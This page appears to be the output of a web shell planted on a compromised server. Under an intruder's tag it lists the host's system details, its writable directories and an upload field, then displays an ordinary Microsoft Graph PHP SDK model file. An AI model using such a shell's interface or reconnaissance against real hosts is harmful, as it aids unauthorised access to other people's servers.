Heray-Was-Here
Server : Apache
System : Linux mail.lomejor.cr 6.8.0-1059-azure #65~22.04.1-Ubuntu SMP Thu May 28 16:59:19 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.2.31
Disable Function : NONE
Directory :  /var/www/dev/htdocs/includes/microsoft/microsoft-graph/src/Model/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/dev/htdocs/includes/microsoft/microsoft-graph/src/Model/CallEndedEventMessageDetail.php
<?php
/**
* Copyright (c) Microsoft Corporation.  All Rights Reserved.  Licensed under the MIT License.  See License in the project root for license information.
* 
* CallEndedEventMessageDetail File
* PHP version 7
*
* @category  Library
* @package   Microsoft.Graph
* @copyright (c) Microsoft Corporation. All rights reserved.
* @license   https://opensource.org/licenses/MIT MIT License
* @link      https://graph.microsoft.com
*/
namespace Microsoft\Graph\Model;
/**
* CallEndedEventMessageDetail class
*
* @category  Model
* @package   Microsoft.Graph
* @copyright (c) Microsoft Corporation. All rights reserved.
* @license   https://opensource.org/licenses/MIT MIT License
* @link      https://graph.microsoft.com
*/
class CallEndedEventMessageDetail extends EventMessageDetail
{
    /**
    * Set the @odata.type since this type is immediately descended from an abstract
    * type that is referenced as the type in an entity.
    * @param array $propDict The property dictionary
    */
    public function __construct($propDict = array())
    {
        parent::__construct($propDict);
        $this->setODataType("#microsoft.graph.callEndedEventMessageDetail");
    }


    /**
    * Gets the callDuration
    * Duration of the call.
    *
    * @return \DateInterval|null The callDuration
    */
    public function getCallDuration()
    {
        if (array_key_exists("callDuration", $this->_propDict)) {
            if (is_a($this->_propDict["callDuration"], "\DateInterval") || is_null($this->_propDict["callDuration"])) {
                return $this->_propDict["callDuration"];
            } else {
                $this->_propDict["callDuration"] = new \DateInterval($this->_propDict["callDuration"]);
                return $this->_propDict["callDuration"];
            }
        }
        return null;
    }

    /**
    * Sets the callDuration
    * Duration of the call.
    *
    * @param \DateInterval $val The value to assign to the callDuration
    *
    * @return CallEndedEventMessageDetail The CallEndedEventMessageDetail
    */
    public function setCallDuration($val)
    {
        $this->_propDict["callDuration"] = $val;
         return $this;
    }

    /**
    * Gets the callEventType
    * Represents the call event type. Possible values are: call, meeting, screenShare, unknownFutureValue.
    *
    * @return TeamworkCallEventType|null The callEventType
    */
    public function getCallEventType()
    {
        if (array_key_exists("callEventType", $this->_propDict)) {
            if (is_a($this->_propDict["callEventType"], "\Microsoft\Graph\Model\TeamworkCallEventType") || is_null($this->_propDict["callEventType"])) {
                return $this->_propDict["callEventType"];
            } else {
                $this->_propDict["callEventType"] = new TeamworkCallEventType($this->_propDict["callEventType"]);
                return $this->_propDict["callEventType"];
            }
        }
        return null;
    }

    /**
    * Sets the callEventType
    * Represents the call event type. Possible values are: call, meeting, screenShare, unknownFutureValue.
    *
    * @param TeamworkCallEventType $val The value to assign to the callEventType
    *
    * @return CallEndedEventMessageDetail The CallEndedEventMessageDetail
    */
    public function setCallEventType($val)
    {
        $this->_propDict["callEventType"] = $val;
         return $this;
    }
    /**
    * Gets the callId
    * Unique identifier of the call.
    *
    * @return string|null The callId
    */
    public function getCallId()
    {
        if (array_key_exists("callId", $this->_propDict)) {
            return $this->_propDict["callId"];
        } else {
            return null;
        }
    }

    /**
    * Sets the callId
    * Unique identifier of the call.
    *
    * @param string $val The value of the callId
    *
    * @return CallEndedEventMessageDetail
    */
    public function setCallId($val)
    {
        $this->_propDict["callId"] = $val;
        return $this;
    }

    /**
    * Gets the callParticipants
    * List of call participants.
    *
    * @return CallParticipantInfo|null The callParticipants
    */
    public function getCallParticipants()
    {
        if (array_key_exists("callParticipants", $this->_propDict)) {
            if (is_a($this->_propDict["callParticipants"], "\Microsoft\Graph\Model\CallParticipantInfo") || is_null($this->_propDict["callParticipants"])) {
                return $this->_propDict["callParticipants"];
            } else {
                $this->_propDict["callParticipants"] = new CallParticipantInfo($this->_propDict["callParticipants"]);
                return $this->_propDict["callParticipants"];
            }
        }
        return null;
    }

    /**
    * Sets the callParticipants
    * List of call participants.
    *
    * @param CallParticipantInfo $val The value to assign to the callParticipants
    *
    * @return CallEndedEventMessageDetail The CallEndedEventMessageDetail
    */
    public function setCallParticipants($val)
    {
        $this->_propDict["callParticipants"] = $val;
         return $this;
    }

    /**
    * Gets the initiator
    * Initiator of the event.
    *
    * @return IdentitySet|null The initiator
    */
    public function getInitiator()
    {
        if (array_key_exists("initiator", $this->_propDict)) {
            if (is_a($this->_propDict["initiator"], "\Microsoft\Graph\Model\IdentitySet") || is_null($this->_propDict["initiator"])) {
                return $this->_propDict["initiator"];
            } else {
                $this->_propDict["initiator"] = new IdentitySet($this->_propDict["initiator"]);
                return $this->_propDict["initiator"];
            }
        }
        return null;
    }

    /**
    * Sets the initiator
    * Initiator of the event.
    *
    * @param IdentitySet $val The value to assign to the initiator
    *
    * @return CallEndedEventMessageDetail The CallEndedEventMessageDetail
    */
    public function setInitiator($val)
    {
        $this->_propDict["initiator"] = $val;
         return $this;
    }
}

Hry